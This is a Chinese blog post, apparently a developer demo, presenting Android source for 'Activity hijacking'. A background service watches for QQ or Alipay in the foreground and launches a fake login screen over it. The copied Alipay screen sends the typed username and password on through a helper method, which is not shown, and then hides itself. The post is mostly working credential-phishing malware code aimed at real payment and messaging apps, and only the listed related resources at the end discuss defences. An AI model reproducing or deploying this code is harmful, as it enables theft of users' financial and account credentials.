`

Activity劫持

 
阅读更多
    package com.sinaapp.msdxblog.android.activityhijacking.service; 
     
    import java.util.HashMap; 
    import java.util.List; 
     
    import android.app.ActivityManager; 
    import android.app.ActivityManager.RunningAppProcessInfo; 
    import android.app.Service; 
    import android.content.Context; 
    import android.content.Intent; 
    import android.os.Handler; 
    import android.os.IBinder; 
    import android.util.Log; 
     
    import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication; 
    import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity; 
    import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity; 
    import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity; 
     
    /**
     * @author Geek_Soledad (66704238@51uc.com)
     */ 
    public class HijackingService extends Service { 
        private boolean hasStart = false; 
        // 这是一个悲伤的故事…… 
        HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>(); 
     
        // Timer mTimer = new Timer(); 
        Handler handler = new Handler(); 
     
        Runnable mTask = new Runnable() { 
     
            @Override 
            public void run() { 
                ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); 
                List<RunningAppProcessInfo> appProcessInfos = activityManager 
                        .getRunningAppProcesses(); 
                // 枚举进程 
                Log.w("hijacking", "正在枚举进程"); 
                for (RunningAppProcessInfo appProcessInfo : appProcessInfos) { 
                    // 如果APP在前台,那么——悲伤的故事就要来了 
                    if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) { 
                        if (mSadStories.containsKey(appProcessInfo.processName)) { 
                            // 进行劫持 
                            hijacking(appProcessInfo.processName); 
                        } else { 
                             Log.w("hijacking", appProcessInfo.processName); 
                        } 
                    } 
                } 
                handler.postDelayed(mTask, 1000); 
            } 
     
            /**
             * 进行劫持
             * @param processName
             */ 
            private void hijacking(String processName) { 
                Log.w("hijacking", "有程序要悲剧了……"); 
                if (((HijackingApplication) getApplication()) 
                        .hasProgressBeHijacked(processName) == false) { 
                    Log.w("hijacking", "悲剧正在发生"); 
                    Intent jackingIsComing = new Intent(getBaseContext(), 
                            mSadStories.get(processName)); 
                    jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 
                    getApplication().startActivity(jackingIsComing); 
                    ((HijackingApplication) getApplication()) 
                            .addProgressHijacked(processName); 
                    Log.w("hijacking", "已经劫持"); 
                } 
            } 
        }; 
     
        @Override 
        public IBinder onBind(Intent intent) { 
            return null; 
        } 
     
        @Override 
        public void onStart(Intent intent, int startId) { 
            super.onStart(intent, startId); 
            if (!hasStart) { 
                mSadStories.put("com.sinaapp.msdxblog.android.lol", 
                        JokeActivity.class); 
                mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class); 
                mSadStories.put("com.eg.android.AlipayGphone", 
                        AlipayStoryActivity.class); 
                handler.postDelayed(mTask, 1000); 
                hasStart = true; 
            } 
        } 
     
        @Override 
        public boolean stopService(Intent name) { 
            hasStart = false; 
            Log.w("hijacking", "劫持服务停止"); 
            ((HijackingApplication) getApplication()).clearProgressHijacked(); 
            return super.stopService(name); 
        } 
    } 



下面是支付宝的伪装类(布局文件就不写了,这个是对老版本的支付宝界面的伪装,新的支付宝登录界面已经完全不一样了。表示老版本的支付宝的界面相当蛋疼,读从它反编译出来的代码苦逼地读了整个通宵结果还是没读明白。它的登录界面各种布局蛋疼地嵌套了十层,而我为了实现跟它一样的效果也蛋疼地嵌套了八层的组件)。
Java代码  收藏代码

    /*
     * @(#)QQStoryActivity.java            Project:ActivityHijackingDemo
     * Date:2012-6-7
     *
     * Copyright (c) 2011 CFuture09, Institute of Software, 
     * Guangdong Ocean University, Zhanjiang, GuangDong, China.
     * All rights reserved.
     *
     * Licensed under the Apache License, Version 2.0 (the "License");
     *  you may not use this file except in compliance with the License.
     * You may obtain a copy of the License at
     *
     *     http://www.apache.org/licenses/LICENSE-2.0
     *
     * Unless required by applicable law or agreed to in writing, software
     * distributed under the License is distributed on an "AS IS" BASIS,
     * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     * See the License for the specific language governing permissions and
     * limitations under the License.
     */ 
    package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories; 
     
    import android.app.Activity; 
    import android.os.Bundle; 
    import android.os.Handler; 
    import android.os.HandlerThread; 
    import android.text.Html; 
    import android.view.View; 
    import android.widget.Button; 
    import android.widget.EditText; 
    import android.widget.TextView; 
     
    import com.sinaapp.msdxblog.android.activityhijacking.R; 
    import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil; 
     
    /**
     * @author Geek_Soledad (66704238@51uc.com)
     */ 
    public class AlipayStoryActivity extends Activity { 
        private EditText name; 
        private EditText password; 
        private Button mBtAlipay; 
        private Button mBtTaobao; 
        private Button mBtRegister; 
     
        private TextView mTvFindpswd; 
     
        @Override 
        protected void onCreate(Bundle savedInstanceState) { 
            super.onCreate(savedInstanceState); 
            this.setTheme(android.R.style.Theme_NoTitleBar); 
            setContentView(R.layout.alipay); 
            mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay); 
            mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao); 
            mBtRegister = (Button) findViewById(R.id.alipay_bt_register); 
            mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd); 
            mTvFindpswd.setText(Html.fromHtml("找回登录密码")); 
            mBtAlipay.setSelected(true); 
     
            name = (EditText) findViewById(R.id.input_name); 
            password = (EditText) findViewById(R.id.input_password); 
     
        } 
     
        public void onButtonClicked(View v) { 
            switch (v.getId()) { 
            case R.id.alipay_bt_login: 
                HandlerThread handlerThread = new HandlerThread("send"); 
                handlerThread.start(); 
                new Handler(handlerThread.getLooper()).post(new Runnable() { 
                    @Override 
                    public void run() { 
                        // 发送获取到的用户密码 
                        SendUtil.sendInfo(name.getText().toString(), password 
                                .getText().toString(), "支付宝"); 
                    } 
                }); 
                moveTaskToBack(true); 
     
                break; 
            case R.id.alipay_bt_alipay: 
                chooseToAlipay(); 
                break; 
            case R.id.alipay_bt_taobao: 
                chooseToTaobao(); 
                break; 
            default: 
                break; 
            } 
        } 
     
        private void chooseToAlipay() { 
            mBtAlipay.setSelected(true); 
            mBtTaobao.setSelected(false); 
            name.setHint(R.string.alipay_name_alipay_hint); 
            mTvFindpswd.setVisibility(View.VISIBLE); 
            mBtRegister.setVisibility(View.VISIBLE); 
        } 
     
        private void chooseToTaobao() { 
            mBtAlipay.setSelected(false); 
            mBtTaobao.setSelected(true); 
            name.setHint(R.string.alipay_name_taobao_hint); 
            mTvFindpswd.setVisibility(View.GONE); 
            mBtRegister.setVisibility(View.GONE); 
        } 
    } 
分享到:
评论

相关推荐

    activity劫持

    【标题】:“activity劫持”是指在Android操作系统中,攻击者通过恶意手段干扰或篡改应用程序(App)的Activity启动过程,以达到控制用户界面、窃取敏感信息或执行恶意操作的目的。这种攻击方式通常利用了Android...

    Activity_Hijack.apk

    安全建议:Activity劫持通常依靠注册Receiver响应android.intent.action.BOOT_COMPLETED事件。客户端程序可以在启动前检查Receiver并报警;由于Activity界面劫持攻击通常是将自己的页面附着在客户端之上,因此需要...

    Android activity劫持

    然而,由于Android的开放性,Activity可能会遭受恶意攻击,其中一种常见的方式就是Activity劫持。这通常发生在恶意应用通过不当手段获取到目标应用的Activity启动意图(Intent)后,提前启动或插入到目标Activity的...

    Android Hook Activity 启动劫持

    `Android Hook Activity 启动劫持`是一种高级技术,它允许开发者利用动态代理(Dynamic Proxy)技术来拦截并控制AMS的行为,从而在不修改系统源码的情况下,实现对Activity启动流程的监控或修改。 首先,我们需要...

    Android界面防劫持,Activity防劫持,无视Android系统版本限制,无需操作栈

    首先,了解Activity劫持的基本原理。攻击者通常通过动态加载恶意代码或者利用系统漏洞,篡改Activity的生命周期方法,例如`onCreate()`, `onResume()`等,来控制或干扰应用的正常显示和行为。为了解决这个问题,...

    AntihijackUtil:Android 安全之 Activity 劫持防护

    什么是 Activity 劫持 Android 为了提高用户的用户体验,对于不同的应用程序之间的切换,基本上是无缝。举一个例子,用户打开安卓手机上的某一应用例如支付宝,进入到登陆页面,这时恶意软件检测到用户的这一动作,...

    ActivitySafeFloat:防Activity劫持,防二次打包

    然而,随着移动应用的普及,安全问题日益凸显,其中Activity劫持和二次打包是开发者需要特别关注的问题。`ActivitySafeFloat`项目就是为了应对这些问题而设计的一个解决方案。 首先,我们来了解一下什么是Activity...

    android 屏幕劫持

    在Android操作系统中,"屏幕劫持"是一种技术,它涉及到应用程序获取对用户界面的控制,以便在用户不知情或未授权的情况下显示自定义内容。这种行为可能会被恶意应用利用,以进行欺诈、窃取信息或其他恶意操作。...

    移动终端应用安全设计方案.docx

    为了防止恶意程序的Activity劫持,开发者应谨慎配置权限,并确保敏感Activity不被恶意覆盖。 2. Content Provider安全:内容提供者允许数据在应用间共享,但也可能成为攻击目标。开发者应设定适当的读写权限,并对...

    A new way to hack android app password public.pptx

    ### 二、Android Activity劫持技术 #### 1. 技术原理 - 通过监听正在运行的进程,当指定的目标应用处于前台运行状态时,触发恶意活动(Activity)的启动,从而欺骗用户输入账户密码等敏感信息。 - 示例代码中展示了一...

    藏经阁-互联网金融安全实战浅述.pdf

    * 事中:检测是否有activity劫持的情况,并提示用户。 * 事后:利用用户画像,对钓鱼盗号的登录行为进行判别,阻止盗号者登录。 三、互联网金融-业务安全 业务安全是互联网金融安全的核心组成部分。互联网金融类...

    Android代码-利用AMS Hook和APT去构建的一个Activity路由框架

    EasyRouter实现了通过字符串进行Activity之间跳转路由,通过APT在编译器实现路由表的构建,劫持了startActivity()进行动态路由 EasyRouter实现了Activity之间跳转,返回时的数据自动注入,完全屏蔽了原生的一套繁琐...

    App安全检测指南-V1.0-t00ls

    - **其他工具**:apktool 和 activity 劫持测试工具等。 #### 三、客户端程序安全 客户端程序的安全性是确保APP整体安全性的基础。本文档主要关注以下三个方面: 1. **安装包签名** - **描述**:在 Android 中,...

    app测试apk劫持工具

    在压缩包中的“HijackActivity.apk”可能是一个示例应用或者测试目标,它可能包含了一些预设的活动(Activity)或者服务(Service),用于演示如何被劫持以及劫持后的影响。使用此工具,用户可以了解自己的APP在面临...

    Android平台组件劫持漏洞的研究.pdf

    Android系统的设计允许应用程序通过组件相互交互,如Activity、Service、BroadcastReceiver和ContentProvider等。这种组件化的架构虽然提高了灵活性,但也使得恶意软件有机会滥用公开的组件,执行未授权的操作,从而...

Global site tag (gtag.js) - Google Analytics